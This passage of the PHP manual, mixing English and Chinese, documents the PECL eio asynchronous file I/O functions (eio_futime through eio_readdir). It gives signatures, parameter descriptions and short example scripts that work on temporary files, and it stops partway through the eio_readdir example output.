eio_ftruncate() returns request resource on success, 或者在失败时返回 false.

参见

  • eio_truncate() - Truncate a file

User Contributed Notes

There are no user contributed notes for this page.


Change file last access and modification times

  • ? eio_ftruncate
  • eio_get_event_stream ?
  • PHP Manual
  • Eio 函数
  • Change file last access and modification times

eio_futime

(PECL eio >= 0.0.1dev)

eio_futime — Change file last access and modification times

说明

eio_futime(
mixed $fd,
float $atime,
float $mtime,
int $pri = EIO_PRI_DEFAULT,
callable $callback = NULL,
mixed $data = NULL
): resource

eio_futime() changes file last access and modification times.

参数

fd

Stream, Socket resource, or numeric file descriptor, e.g. returned by eio_open()

atime

Access time

mtime

Modification time

pri

请求的优先级：EIO_PRI_DEFAULT，EIO_PRI_MIN，EIO_PRI_MAX 或 null。如果是 null，pri 将设为 EIO_PRI_DEFAULT。

callback

callback 函数在请求完成时被调用。其应匹配一下原型：

void callback(mixed $data, int $result[, resource $req]);
data

传递给请求的用户数据。

result

针对请求的结果的值。通常是相应的系统调用返回的值。

req

可选的请求资源，可被 eio_get_last_error() 之类的函数使用。

data

Arbitrary variable passed to callback.

返回值

eio_futime() returns request resource on success, 或者在失败时返回 false.

参见

  • eio_utime() - Change file last access and modification times

User Contributed Notes

There are no user contributed notes for this page.


Get stream representing a variable used in internal communications with libeio

  • ? eio_futime
  • eio_get_last_error ?
  • PHP Manual
  • Eio 函数
  • Get stream representing a variable used in internal communications with libeio

eio_get_event_stream

(PECL eio >= 0.3.1b)

eio_get_event_stream — Get stream representing a variable used in internal communications with libeio

说明

eio_get_event_stream(): mixed

eio_get_event_stream() acquires stream representing a variable used in internal communications with libeio. Could be used to bind with some event loop provided by other PECL extension, for example libevent.

参数

此函数没有参数。

返回值

eio_get_event_stream() returns stream on success; otherwise, null

示例

Example #1 Using eio with libevent

<?php
function my_eio_poll($fd, $events, $arg) {
/* Some libevent regulation might go here .. */
if (eio_nreqs()) {
eio_poll();
}
/* .. and here */
}

function my_res_cb($d, $r) {
var_dump($r); var_dump($d);
}

$base = event_base_new();
$event = event_new();

$fd = eio_get_event_stream();
var_dump($fd);

eio_nop(EIO_PRI_DEFAULT, "my_res_cb", "nop data");
eio_mkdir("/tmp/abc-eio-temp", 0750, EIO_PRI_DEFAULT, "my_res_cb", "mkdir data");
/* some other eio_* calls here ... */

// set event flags
event_set($event, $fd, EV_READ /*| EV_PERSIST*/, "my_eio_poll", array($event, $base));

// set event base
event_base_set($event, $base);

// enable event
event_add($event);

// start event loop
event_base_loop($base);

/* The same will be available via buffered libevent interface */
?>

以上示例的输出类似于：

int(3)
int(0)
string(8) "nop data"
int(0)
string(10) "mkdir data"

User Contributed Notes

There are no user contributed notes for this page.


Returns string describing the last error associated with a request resource

  • ? eio_get_event_stream
  • eio_grp_add ?
  • PHP Manual
  • Eio 函数
  • Returns string describing the last error associated with a request resource

eio_get_last_error

(PECL eio >= 1.0.0)

eio_get_last_error — Returns string describing the last error associated with a request resource

说明

eio_get_last_error(resource $req): string

eio_get_last_error() returns string describing the last error associated with req.

参数

req

The request resource

返回值

eio_get_last_error() returns string describing the last error associated with the request resource specified by req.

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

User Contributed Notes

There are no user contributed notes for this page.


Adds a request to the request group

  • ? eio_get_last_error
  • eio_grp_cancel ?
  • PHP Manual
  • Eio 函数
  • Adds a request to the request group

eio_grp_add

(PECL eio >= 0.0.1dev)

eio_grp_add — Adds a request to the request group

说明

eio_grp_add(resource $grp, resource $req): void

eio_grp_add() adds a request to the request group.

参数

grp

The request group resource returned by eio_grp()

req

The request resource

返回值

没有返回值。

示例

Example #1 Grouping requests

<?php
/*
* Create a group request to open, read and close a file
*/

// Create temporary file and write some bytes to it
$temp_filename = dirname(__FILE__) ."/eio-file.tmp";
$fp = fopen($temp_filename, "w");
fwrite($fp, "some data");
fclose($fp);

/* Is called when the group requests are done */
function my_grp_done($data, $result) {
var_dump($result == 0);
@unlink($data);
}

/* Is called when eio_open() done */
function my_grp_file_opened_callback($data, $result) {
global $grp;

// $result should contain the file descriptor
var_dump($result > 0);

// Create eio_read() request and add it to the group
// Pass file descriptor to the callback
$req = eio_read($result, 4, 0,
EIO_PRI_DEFAULT, "my_grp_file_read_callback", $result);
eio_grp_add($grp, $req);
}

/* Is called when eio_read() done */
function my_grp_file_read_callback($data, $result) {
global $grp;

// Read bytes
var_dump($result);

// Create eio_close() request and add it to the group
// $data should contain the file descriptor
$req = eio_close($data);
eio_grp_add($grp, $req);
}

// Create request group
$grp = eio_grp("my_grp_done", $temp_filename);
var_dump($grp);

// Create eio_open() request and add it to the group
$req = eio_open($temp_filename, EIO_O_RDWR | EIO_O_APPEND , NULL,
EIO_PRI_DEFAULT, "my_grp_file_opened_callback", NULL);
eio_grp_add($grp, $req);

// Process requests
eio_event_loop();
?>

以上示例的输出类似于：

resource(6) of type (EIO Group Descriptor)
bool(true)
string(4) "some"
bool(true)

参见

  • eio_grp() - Creates a request group
  • eio_grp_cancel() - Cancels a request group
  • eio_grp_limit() - Set group limit

User Contributed Notes

There are no user contributed notes for this page.


Cancels a request group

  • ? eio_grp_add
  • eio_grp_limit ?
  • PHP Manual
  • Eio 函数
  • Cancels a request group

eio_grp_cancel

(PECL eio >= 0.0.1dev)

eio_grp_cancel — Cancels a request group

说明

eio_grp_cancel(resource $grp): void

eio_grp_cancel() cancels a group request specified by grp request group resource.

参数

grp

The request group resource returned by eio_grp().

返回值

没有返回值。

参见

  • eio_grp() - Creates a request group
  • eio_grp_add() - Adds a request to the request group

User Contributed Notes

There are no user contributed notes for this page.


Set group limit

  • ? eio_grp_cancel
  • eio_grp ?
  • PHP Manual
  • Eio 函数
  • Set group limit

eio_grp_limit

(PECL eio >= 0.0.1dev)

eio_grp_limit — Set group limit

说明

eio_grp_limit(resource $grp, int $limit): void

Limit number of requests in the request group.

参数

grp

The request group resource.

limit

Number of requests in the group.

返回值

没有返回值。

参见

  • eio_grp_add() - Adds a request to the request group

User Contributed Notes

There are no user contributed notes for this page.


Creates a request group

  • ? eio_grp_limit
  • eio_init ?
  • PHP Manual
  • Eio 函数
  • Creates a request group

eio_grp

(PECL eio >= 0.0.1dev)

eio_grp — Creates a request group

说明

eio_grp(callable $callback, string $data = NULL): resource

eio_grp() creates a request group.

参数

callback

callback 函数在请求完成时被调用。其应匹配一下原型：

void callback(mixed $data, int $result[, resource $req]);
data

传递给请求的用户数据。

result

针对请求的结果的值。通常是相应的系统调用返回的值。

req

可选的请求资源，可被 eio_get_last_error() 之类的函数使用。

data

Arbitrary variable passed to callback.

返回值

eio_grp() returns request group resource on success, 或者在失败时返回 false.

示例

Example #1 eio_grp() example

<?php
$temp_filename = dirname(__FILE__) ."/eio-file.tmp";
$fp = fopen($temp_filename, "w");
fwrite($fp, "some data");
fclose($fp);
$my_file_fd = NULL;

/* Is called when the group requests are done */
function my_grp_done($data, $result) {
// Remove the file, if it still exists
@unlink($data);
}

/* Is called when the temporary file is opened */
function my_grp_file_opened_callback($data, $result) {
global $my_file_fd, $grp;

$my_file_fd = $result;

$req = eio_read($my_file_fd, 4, 0,
EIO_PRI_DEFAULT, "my_grp_file_read_callback");
eio_grp_add($grp, $req);
}

/* Is called when the file is read */
function my_grp_file_read_callback($data, $result) {
global $my_file_fd, $grp;

var_dump($result);

// Create request to close the file
$req = eio_close($my_file_fd);

// Add request to the group
eio_grp_add($grp, $req);
}

// Create request group
$grp = eio_grp("my_grp_done", $temp_filename);

// Create request
$req = eio_open($temp_filename, EIO_O_RDWR | EIO_O_APPEND , NULL,
EIO_PRI_DEFAULT, "my_grp_file_opened_callback", NULL);

// Add request to the group
eio_grp_add($grp, $req);

// Process requests
eio_event_loop();
?>

以上示例的输出类似于：

string(4) "some"

参见

  • eio_grp_cancel() - Cancels a request group
  • eio_grp_add() - Adds a request to the request group

User Contributed Notes

There are no user contributed notes for this page.


(Re-)initialize Eio

  • ? eio_grp
  • eio_link ?
  • PHP Manual
  • Eio 函数
  • (Re-)initialize Eio

eio_init

(PECL eio = 1.0.0)

eio_init — (Re-)initialize Eio

说明

eio_init(): void

eio_init() (re-)initializes Eio. It allocates memory for internal structures of libeio and Eio itself. You may call eio_init() before using Eio functions. Otherwise it will be called internally first time you invoke an Eio function in a process.

Note:

This function was removed in version 3.0.0RC1 of the eio extension for PHP version 8 and higher.

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Create a hardlink for file

  • ? eio_init
  • eio_lstat ?
  • PHP Manual
  • Eio 函数
  • Create a hardlink for file

eio_link

(PECL eio >= 0.0.1dev)

eio_link — Create a hardlink for file

说明

eio_link(
string $path,
string $new_path,
int $pri = EIO_PRI_DEFAULT,
callable $callback = NULL,
mixed $data = NULL
): resource

eio_link() creates a hardlink new_path for a file specified by path.

参数

path

Source file path.

new_path

Target file path.

pri

请求的优先级：EIO_PRI_DEFAULT，EIO_PRI_MIN，EIO_PRI_MAX 或 null。如果是 null，pri 将设为 EIO_PRI_DEFAULT。

callback

callback 函数在请求完成时被调用。其应匹配一下原型：

void callback(mixed $data, int $result[, resource $req]);
data

传递给请求的用户数据。

result

针对请求的结果的值。通常是相应的系统调用返回的值。

req

可选的请求资源，可被 eio_get_last_error() 之类的函数使用。

data

Arbitrary variable passed to callback.

返回值

示例

Example #1 eio_link() example

<?php
$filename = dirname(__FILE__)."/symlink.dat";
touch($filename);
$link = dirname(__FILE__)."/symlink.link";
$hardlink = dirname(__FILE__)."/hardlink.link";

function my_hardlink_cb($data, $result) {
global $link, $filename;
var_dump(file_exists($data) && !is_link($data));
@unlink($data);

eio_symlink($filename, $link, EIO_PRI_DEFAULT, "my_symlink_cb", $link);
}

function my_symlink_cb($data, $result) {
global $link, $filename;
var_dump(file_exists($data) && is_link($data));

if (!eio_readlink($data, EIO_PRI_DEFAULT, "my_readlink_cb", NULL)) {
@unlink($link);
@unlink($filename);
}
}

function my_readlink_cb($data, $result) {
global $filename, $link;
var_dump($result);

@unlink($link);
@unlink($filename);
}

eio_link($filename, $hardlink, EIO_PRI_DEFAULT, "my_hardlink_cb", $hardlink);
eio_event_loop();
?>

以上示例的输出类似于：

bool(true)
bool(true)
string(%d) "%ssymlink.dat"

参见

  • eio_symlink() - Create a symbolic link

User Contributed Notes

There are no user contributed notes for this page.


Get file status

  • ? eio_link
  • eio_mkdir ?
  • PHP Manual
  • Eio 函数
  • Get file status

eio_lstat

(PECL eio >= 0.0.1dev)

eio_lstat — Get file status

说明

eio_lstat(
string $path,
int $pri,
callable $callback,
mixed $data = NULL
): resource

eio_lstat() returns file status information in result argument of callback

参数

path

The file path

pri

请求的优先级：EIO_PRI_DEFAULT，EIO_PRI_MIN，EIO_PRI_MAX 或 null。如果是 null，pri 将设为 EIO_PRI_DEFAULT。

callback

callback 函数在请求完成时被调用。其应匹配一下原型：

void callback(mixed $data, int $result[, resource $req]);
data

传递给请求的用户数据。

result

针对请求的结果的值。通常是相应的系统调用返回的值。

req

可选的请求资源，可被 eio_get_last_error() 之类的函数使用。

data

Arbitrary variable passed to callback.

返回值

eio_lstat() returns request resource on success or false on error.

示例

Example #1 eio_lstat() example

<?php
$tmp_filename = dirname(__FILE__). "/eio-file.tmp";
touch($tmp_filename);

function my_res_cb($data, $result) {
var_dump($data);
var_dump($result);
}

function my_open_cb($data, $result) {
eio_close($result);
eio_event_loop();

@unlink($data);
}

eio_lstat($tmp_filename, EIO_PRI_DEFAULT, "my_res_cb", "eio_lstat");
eio_open($tmp_filename, EIO_O_RDONLY, NULL,
EIO_PRI_DEFAULT, "my_open_cb", $tmp_filename);
eio_event_loop();
?>

以上示例的输出类似于：

string(9) "eio_lstat"
array(12) {
 ["st_dev"]=>
  int(2050)
  ["st_ino"]=>
  int(2099197)
  ["st_mode"]=>
  int(33188)
  ["st_nlink"]=>
  int(1)
  ["st_uid"]=>
  int(1000)
  ["st_gid"]=>
  int(100)
  ["st_rdev"]=>
  int(0)
  ["st_blksize"]=>
  int(4096)
  ["st_blocks"]=>
  int(0)
  ["st_atime"]=>
  int(1318235777)
  ["st_mtime"]=>
  int(1318235777)
  ["st_ctime"]=>
  int(1318235777)
}

参见

  • eio_stat() - Get file status
  • eio_fstat() - Get file status

User Contributed Notes

There are no user contributed notes for this page.


Create directory

  • ? eio_lstat
  • eio_mknod ?
  • PHP Manual
  • Eio 函数
  • Create directory

eio_mkdir

(PECL eio >= 0.0.1dev)

eio_mkdir — Create directory

说明

eio_mkdir(
string $path,
int $mode,
int $pri = EIO_PRI_DEFAULT,
callable $callback = NULL,
mixed $data = NULL
): resource

eio_mkdir() creates directory with specified access mode.

参数

path

Path for the new directory.

mode

Access mode, e.g. 0755

pri

请求的优先级：EIO_PRI_DEFAULT，EIO_PRI_MIN，EIO_PRI_MAX 或 null。如果是 null，pri 将设为 EIO_PRI_DEFAULT。

callback

callback 函数在请求完成时被调用。其应匹配一下原型：

void callback(mixed $data, int $result[, resource $req]);
data

传递给请求的用户数据。

result

针对请求的结果的值。通常是相应的系统调用返回的值。

req

可选的请求资源，可被 eio_get_last_error() 之类的函数使用。

data

Arbitrary variable passed to callback.

返回值

eio_mkdir() returns request resource on success, 或者在失败时返回 false.

示例

Example #1 eio_mkdir() example

<?php
$temp_dirname = "eio-temp-dir";

/* Is called when eio_mkdir() finishes */
function my_mkdir_callback($data, $result) {
if ($result == 0 && is_dir($temp_dirname)
&& !is_readable($temp_dirname)
&& is_writable($temp_dirname)) {
echo "eio_mkdir_ok";
}

// Remove directory
if (file_exists($data))
rmdir($temp_dirname);
}

// Create directory with access mode 0300
eio_mkdir($temp_dirname, 0300, EIO_PRI_DEFAULT, "my_mkdir_callback", $temp_dirname);
eio_event_loop();
?>

以上示例的输出类似于：

eio_mkdir_ok

参见

  • eio_rmdir() - Remove a directory

User Contributed Notes

There are no user contributed notes for this page.


Create a special or ordinary file

  • ? eio_mkdir
  • eio_nop ?
  • PHP Manual
  • Eio 函数
  • Create a special or ordinary file

eio_mknod

(PECL eio >= 0.0.1dev)

eio_mknod — Create a special or ordinary file

说明

eio_mknod(
string $path,
int $mode,
int $dev,
int $pri = EIO_PRI_DEFAULT,
callable $callback = NULL,
mixed $data = NULL
): resource

eio_mknod() creates ordinary or special(often) file.

Warning

本函数还未编写文档，仅有参数列表。

参数

path

Path for the new node(file).

mode

Specifies both the permissions to use and the type of node to be created. It should be a combination (using bitwise OR) of one of the file types listed below and the permissions for the new node(e.g. 0640). Possible file types are: EIO_S_IFREG(regular file), EIO_S_IFCHR(character file), EIO_S_IFBLK(block special file), EIO_S_IFIFO(FIFO - named pipe) and EIO_S_IFSOCK(UNIX domain socket). To specify permissions EIO_S_I* constants could be used.

dev

If the file type is EIO_S_IFCHR or EIO_S_IFBLK then dev specifies the major and minor numbers of the newly created device special file. Otherwise dev ignored. See mknod(2) man page for details.

pri

请求的优先级：EIO_PRI_DEFAULT，EIO_PRI_MIN，EIO_PRI_MAX 或 null。如果是 null，pri 将设为 EIO_PRI_DEFAULT。

callback

callback 函数在请求完成时被调用。其应匹配一下原型：

void callback(mixed $data, int $result[, resource $req]);
data

传递给请求的用户数据。

result

针对请求的结果的值。通常是相应的系统调用返回的值。

req

可选的请求资源，可被 eio_get_last_error() 之类的函数使用。

data

Arbitrary variable passed to callback.

返回值

eio_mknod() returns request resource on success, 或者在失败时返回 false.

示例

Example #1 eio_mknod() example

<?php
// FIFO name
$temp_filename = "/tmp/eio-temp-fifo";

/* Is called when eio_mknod() finishes */
function my_mknod_callback($data, $result) {
$s = stat($data);
var_dump($s);

if ($result == 0) {
echo "eio_mknod_ok";
}

@unlink($data);
}

eio_mknod($temp_filename, EIO_S_IFIFO, 0,
EIO_PRI_DEFAULT, "my_mknod_callback", $temp_filename);
eio_event_loop();
?>

以上示例的输出类似于：

array(26) {
  [0]=>
  int(17)
  [1]=>
  int(2337608)
  [2]=>
  int(4096)
  [3]=>
  int(1)
  [4]=>
  int(1000)
  [5]=>
  int(100)
  [6]=>
  int(0)
  [7]=>
  int(0)
  [8]=>
  int(1318241261)
  [9]=>
  int(1318241261)
  [10]=>
  int(1318241261)
  [11]=>
  int(4096)
  [12]=>
  int(0)
  ["dev"]=>
  int(17)
  ["ino"]=>
  int(2337608)
  ["mode"]=>
  int(4096)
  ["nlink"]=>
  int(1)
  ["uid"]=>
  int(1000)
  ["gid"]=>
  int(100)
  ["rdev"]=>
  int(0)
  ["size"]=>
  int(0)
  ["atime"]=>
  int(1318241261)
  ["mtime"]=>
  int(1318241261)
  ["ctime"]=>
  int(1318241261)
  ["blksize"]=>
  int(4096)
  ["blocks"]=>
  int(0)
}
eio_mknod_ok

参见

  • eio_open() - Opens a file

User Contributed Notes

There are no user contributed notes for this page.


Does nothing, except go through the whole request cycle

  • ? eio_mknod
  • eio_npending ?
  • PHP Manual
  • Eio 函数
  • Does nothing, except go through the whole request cycle

eio_nop

(PECL eio >= 0.0.1dev)

eio_nop — Does nothing, except go through the whole request cycle

说明

eio_nop(int $pri = EIO_PRI_DEFAULT, callable $callback = NULL, mixed $data = NULL): resource

eio_nop() does nothing, except go through the whole request cycle. Could be useful in debugging.

参数

pri

请求的优先级：EIO_PRI_DEFAULT，EIO_PRI_MIN，EIO_PRI_MAX 或 null。如果是 null，pri 将设为 EIO_PRI_DEFAULT。

callback

callback 函数在请求完成时被调用。其应匹配一下原型：

void callback(mixed $data, int $result[, resource $req]);
data

传递给请求的用户数据。

result

针对请求的结果的值。通常是相应的系统调用返回的值。

req

可选的请求资源，可被 eio_get_last_error() 之类的函数使用。

data

Arbitrary variable passed to callback.

返回值

eio_nop() returns request resource on success, 或者在失败时返回 false.

参见

  • eio_busy() - Artificially increase load. Could be useful in tests, benchmarking

User Contributed Notes

There are no user contributed notes for this page.


Returns number of finished, but unhandled requests

  • ? eio_nop
  • eio_nready ?
  • PHP Manual
  • Eio 函数
  • Returns number of finished, but unhandled requests

eio_npending

(PECL eio >= 0.0.1dev)

eio_npending — Returns number of finished, but unhandled requests

说明

eio_npending(): int

eio_npending() returns number of finished, but unhandled requests

参数

此函数没有参数。

返回值

eio_npending() returns number of finished, but unhandled requests.

参见

  • eio_nreqs() - Returns number of requests to be processed
  • eio_nready() - Returns number of not-yet handled requests
  • eio_nthreads() - Returns number of threads currently in use

User Contributed Notes

There are no user contributed notes for this page.


Returns number of not-yet handled requests

  • ? eio_npending
  • eio_nreqs ?
  • PHP Manual
  • Eio 函数
  • Returns number of not-yet handled requests

eio_nready

(PECL eio >= 0.0.1dev)

eio_nready — Returns number of not-yet handled requests

说明

eio_nready(): int

参数

此函数没有参数。

返回值

eio_nready() returns number of not-yet handled requests

参见

  • eio_nreqs() - Returns number of requests to be processed
  • eio_nready()
  • eio_nthreads() - Returns number of threads currently in use

User Contributed Notes

There are no user contributed notes for this page.


Returns number of requests to be processed

  • ? eio_nready
  • eio_nthreads ?
  • PHP Manual
  • Eio 函数
  • Returns number of requests to be processed

eio_nreqs

(PECL eio >= 0.0.1dev)

eio_nreqs — Returns number of requests to be processed

说明

eio_nreqs(): int

eio_nreqs() could be called in a custom loop calling eio_poll().

参数

此函数没有参数。

返回值

eio_nreqs() returns number of requests to be processed.

示例

Example #1 eio_nreqs() example

<?php
function res_cb($data, $result) {
var_dump($data);
var_dump($result);
}

eio_nop(EIO_PRI_DEFAULT, "res_cb", "1");
eio_nop(EIO_PRI_DEFAULT, "res_cb", "2");
eio_nop(EIO_PRI_DEFAULT, "res_cb", "3");

while (eio_nreqs()) {
eio_poll();
}
?>

以上示例的输出类似于：

string(1) "1"
int(0)
string(1) "3"
int(0)
string(1) "2"
int(0)

参见

  • eio_poll() - Can be to be called whenever there are pending requests that need finishing
  • eio_nready() - Returns number of not-yet handled requests

User Contributed Notes

There are no user contributed notes for this page.


Returns number of threads currently in use

  • ? eio_nreqs
  • eio_open ?
  • PHP Manual
  • Eio 函数
  • Returns number of threads currently in use

eio_nthreads

(PECL eio >= 0.0.1dev)

eio_nthreads — Returns number of threads currently in use

说明

eio_nthreads(): int

参数

此函数没有参数。

返回值

eio_nthreads() returns number of threads currently in use.

参见

  • eio_npending() - Returns number of finished, but unhandled requests
  • eio_nready() - Returns number of not-yet handled requests
  • eio_nreqs() - Returns number of requests to be processed
  • eio_set_max_idle() - Set maximum number of idle threads
  • eio_set_max_parallel() - Set maximum parallel threads
  • eio_set_min_parallel() - Set minimum parallel thread number

User Contributed Notes

There are no user contributed notes for this page.


Opens a file

  • ? eio_nthreads
  • eio_poll ?
  • PHP Manual
  • Eio 函数
  • Opens a file

eio_open

(PECL eio >= 0.0.1dev)

eio_open — Opens a file

说明

eio_open(
string $path,
int $flags,
int $mode,
int $pri,
callable $callback,
mixed $data = NULL
): resource

eio_open() opens file specified by path in access mode mode with

参数

path

Path of the file to be opened.

Warning

In some SAPIs(e.g. PHP-FPM) it could fail, if you don't specify full path.

flags

One of EIO_O_* constants, or their combinations. EIO_O_* constants have the same meaning, as their corresponding O_* counterparts defined in fnctl.h C header file. Default is EIO_O_RDWR.

mode

One of EIO_S_I* constants, or their combination (via bitwise OR operator). The constants have the same meaning as their S_I* counterparts defined in » sys/stat.h C header file. Required, if a file is created. Otherwise ignored.

pri

请求的优先级：EIO_PRI_DEFAULT，EIO_PRI_MIN，EIO_PRI_MAX 或 null。如果是 null，pri 将设为 EIO_PRI_DEFAULT。

callback

callback 函数在请求完成时被调用。其应匹配一下原型：

void callback(mixed $data, int $result[, resource $req]);
data

传递给请求的用户数据。

result

针对请求的结果的值。通常是相应的系统调用返回的值。

req

可选的请求资源，可被 eio_get_last_error() 之类的函数使用。

data

Arbitrary variable passed to callback.

返回值

eio_open() returns file descriptor in result argument of callback on success; otherwise, result is equal to -1.

示例

Example #1 eio_open() example

<?php
$temp_filename = "eio-temp-file.tmp";

/* Is called when eio_close() finishes */
function my_close_cb($data, $result) {
// Zero indicates success
var_dump($result == 0);
@unlink($data);
}

/* Is called when eio_open() finishes */
function my_file_opened_callback($data, $result) {
// $result should contain the file descriptor
var_dump($result > 0);

if ($result > 0) {
// Close the file
eio_close($result, EIO_PRI_DEFAULT, "my_close_cb", $data);
eio_event_loop();
}
}

// Create new file for reading and writing
// Deny group and others to do anything with that file
eio_open($temp_filename, EIO_O_CREAT | EIO_O_RDWR, EIO_S_IRUSR | EIO_S_IWUSR,
EIO_PRI_DEFAULT, "my_file_opened_callback", $temp_filename);
eio_event_loop();
?>

以上示例的输出类似于：

bool(true)
bool(true)

参见

  • eio_mknod() - Create a special or ordinary file

User Contributed Notes

There are no user contributed notes for this page.


Can be to be called whenever there are pending requests that need finishing

  • ? eio_open
  • eio_read ?
  • PHP Manual
  • Eio 函数
  • Can be to be called whenever there are pending requests that need finishing

eio_poll

(PECL eio >= 0.0.1dev)

eio_poll — Can be to be called whenever there are pending requests that need finishing

说明

eio_poll(): int

eio_poll() can be used to implement special event loop. For this eio_nreqs() could be used to test if there are unprocessed requests.

Note:

Applicable only when implementing userspace event loop.

参数

此函数没有参数。

返回值

If any request invocation returns a non-zero value, returns that value. Otherwise, it returns 0.

示例

Example #1 eio_poll() example

<?php
function res_cb($data, $result) {
var_dump($data);
var_dump($result);
}

eio_nop(EIO_PRI_DEFAULT, "res_cb", "1");
eio_nop(EIO_PRI_DEFAULT, "res_cb", "2");
eio_nop(EIO_PRI_DEFAULT, "res_cb", "3");

while (eio_nreqs()) {
// Some specific IPC or so
eio_poll();
}
?>

以上示例的输出类似于：

string(1) "1"
int(0)
string(1) "3"
int(0)
string(1) "2"
int(0)

参见

  • eio_nreqs() - Returns number of requests to be processed

User Contributed Notes

There are no user contributed notes for this page.


Read from a file descriptor at given offset

  • ? eio_poll
  • eio_readahead ?
  • PHP Manual
  • Eio 函数
  • Read from a file descriptor at given offset

eio_read

(PECL eio >= 0.0.1dev)

eio_read — Read from a file descriptor at given offset

说明

eio_read(
mixed $fd,
int $length,
int $offset,
int $pri,
callable $callback,
mixed $data = NULL
): resource

eio_read() reads up to length bytes from fd file descriptor at offset. The read bytes are stored in result argument of callback.

参数

fd

Stream, Socket resource, or numeric file descriptor

length

Maximum number of bytes to read.

offset

Offset within the file.

pri

请求的优先级：EIO_PRI_DEFAULT，EIO_PRI_MIN，EIO_PRI_MAX 或 null。如果是 null，pri 将设为 EIO_PRI_DEFAULT。

callback

callback 函数在请求完成时被调用。其应匹配一下原型：

void callback(mixed $data, int $result[, resource $req]);
data

传递给请求的用户数据。

result

针对请求的结果的值。通常是相应的系统调用返回的值。

req

可选的请求资源，可被 eio_get_last_error() 之类的函数使用。

data

Arbitrary variable passed to callback.

返回值

eio_read() stores read bytes in result argument of callback function.

示例

Example #1 eio_read() example

<?php
// Open a temporary file and write some bytes there
$temp_filename = "eio-temp-file.tmp";
$fp = fopen($temp_filename, "w");
fwrite($fp, "1234567890");
fclose($fp);

/* Is called when eio_read() is done */
function my_read_cb($data, $result) {
global $temp_filename;

// Output read bytes
var_dump($result);

// Close file
eio_close($data);
eio_event_loop();

// Remove temporary file
@unlink($temp_filename);
}

/* Is called when eio_open() is done */
function my_file_opened_callback($data, $result) {
// $result should contain the file descriptor
if ($result > 0) {
// Read 5 bytes starting from third
eio_read($result, 5, 2, EIO_PRI_DEFAULT, "my_read_cb", $result);
eio_event_loop();
} else {
// eio_open() failed
unlink($data);
}
}

// Open the file for reading and writing
eio_open($temp_filename, EIO_O_RDWR, NULL,
EIO_PRI_DEFAULT, "my_file_opened_callback", $temp_filename);
eio_event_loop();
?>

以上示例的输出类似于：

string(5) "34567"

参见

  • eio_open() - Opens a file
  • eio_write() - Write to file
  • eio_close() - Close file
  • eio_event_loop() - Polls libeio until all requests proceeded

User Contributed Notes

There are no user contributed notes for this page.


Perform file readahead into page cache

  • ? eio_read
  • eio_readdir ?
  • PHP Manual
  • Eio 函数
  • Perform file readahead into page cache

eio_readahead

(PECL eio >= 0.0.1dev)

eio_readahead — Perform file readahead into page cache

说明

eio_readahead(
mixed $fd,
int $offset,
int $length,
int $pri = EIO_PRI_DEFAULT,
callable $callback = NULL,
mixed $data = NULL
): resource

eio_readahead() populates the page cache with data from a file so that subsequent reads from that file will not block on disk I/O. See READAHEAD(2) man page for details.

参数

fd

Stream, Socket resource, or numeric file descriptor

offset

Starting point from which data is to be read.

length

Number of bytes to be read.

pri

请求的优先级：EIO_PRI_DEFAULT，EIO_PRI_MIN，EIO_PRI_MAX 或 null。如果是 null，pri 将设为 EIO_PRI_DEFAULT。

callback

callback 函数在请求完成时被调用。其应匹配一下原型：

void callback(mixed $data, int $result[, resource $req]);
data

传递给请求的用户数据。

result

针对请求的结果的值。通常是相应的系统调用返回的值。

req

可选的请求资源，可被 eio_get_last_error() 之类的函数使用。

data

Arbitrary variable passed to callback.

返回值

eio_readahead() returns request resource on success, 或者在失败时返回 false.

User Contributed Notes

There are no user contributed notes for this page.


Reads through a whole directory

  • ? eio_readahead
  • eio_readlink ?
  • PHP Manual
  • Eio 函数
  • Reads through a whole directory

eio_readdir

(PECL eio >= 0.0.1dev)

eio_readdir — Reads through a whole directory

说明

eio_readdir(
string $path,
int $flags,
int $pri,
callable $callback,
string $data = NULL
): resource

Reads through a whole directory(via the opendir, readdir and closedir system calls) and returns either the names or an array in result argument of callback function, depending on the flags argument.

参数

path

Directory path.

flags

Combination of EIO_READDIR_* constants.

pri

请求的优先级：EIO_PRI_DEFAULT，EIO_PRI_MIN，EIO_PRI_MAX 或 null。如果是 null，pri 将设为 EIO_PRI_DEFAULT。

callback

callback 函数在请求完成时被调用。其应匹配一下原型：

void callback(mixed $data, int $result[, resource $req]);
data

传递给请求的用户数据。

result

针对请求的结果的值。通常是相应的系统调用返回的值。

req

可选的请求资源，可被 eio_get_last_error() 之类的函数使用。

data

Arbitrary variable passed to callback.

返回值

eio_readdir() returns request resource on success, 或者在失败时返回 false. Sets result argument of callback function according to flags:

EIO_READDIR_DENTS (int)
eio_readdir() flag. If specified, the result argument of the callback becomes an array with the following keys: 'names' - array of directory names 'dents' - array of struct eio_dirent-like arrays having the following keys each: 'name' - the directory name; 'type' - one of EIO_DT_* constants; 'inode' - the inode number, if available, otherwise unspecified;
EIO_READDIR_DIRS_FIRST (int)
When this flag is specified, the names will be returned in an order where likely directories come first, in optimal stat order.
EIO_READDIR_STAT_ORDER (int)
When this flag is specified, then the names will be returned in an order suitable for stat'ing each one. When planning to stat() all files in the given directory, the returned order will likely be fastest.
EIO_READDIR_FOUND_UNKNOWN (int)

Node types:

EIO_DT_UNKNOWN (int)
Unknown node type(very common). Further stat() needed.
EIO_DT_FIFO (int)
FIFO node type
EIO_DT_CHR (int)
Node type
EIO_DT_MPC (int)
Multiplexed char device (v7+coherent) node type
EIO_DT_DIR (int)
Directory node type
EIO_DT_NAM (int)
Xenix special named file node type
EIO_DT_BLK (int)
Node type
EIO_DT_MPB (int)
Multiplexed block device (v7+coherent)
EIO_DT_REG (int)
Node type
EIO_DT_NWK (int)
EIO_DT_CMP (int)
HP-UX network special node type
EIO_DT_LNK (int)
Link node type
EIO_DT_SOCK (int)
Socket node type
EIO_DT_DOOR (int)
Solaris door node type
EIO_DT_WHT (int)
Node type
EIO_DT_MAX (int)
Highest node type value

示例

Example #1 eio_readdir() example

<?php
/* Is called when eio_readdir() finishes */
function my_readdir_callback($data, $result) {
echo __FUNCTION__, " called\n";
echo "data: "; var_dump($data);
echo "result: "; var_dump($result);
echo "\n";
}

eio_readdir("/var/spool/news", EIO_READDIR_STAT_ORDER | EIO_READDIR_DIRS_FIRST,
EIO_PRI_DEFAULT, "my_readdir_callback");
eio_event_loop();
?>

以上示例的输出类似于：

my_readdir_callback called
data: NULL
result: array(2) {
 ["names"]=>
  array(7) {
   [0]=>
    string(7) "archive"
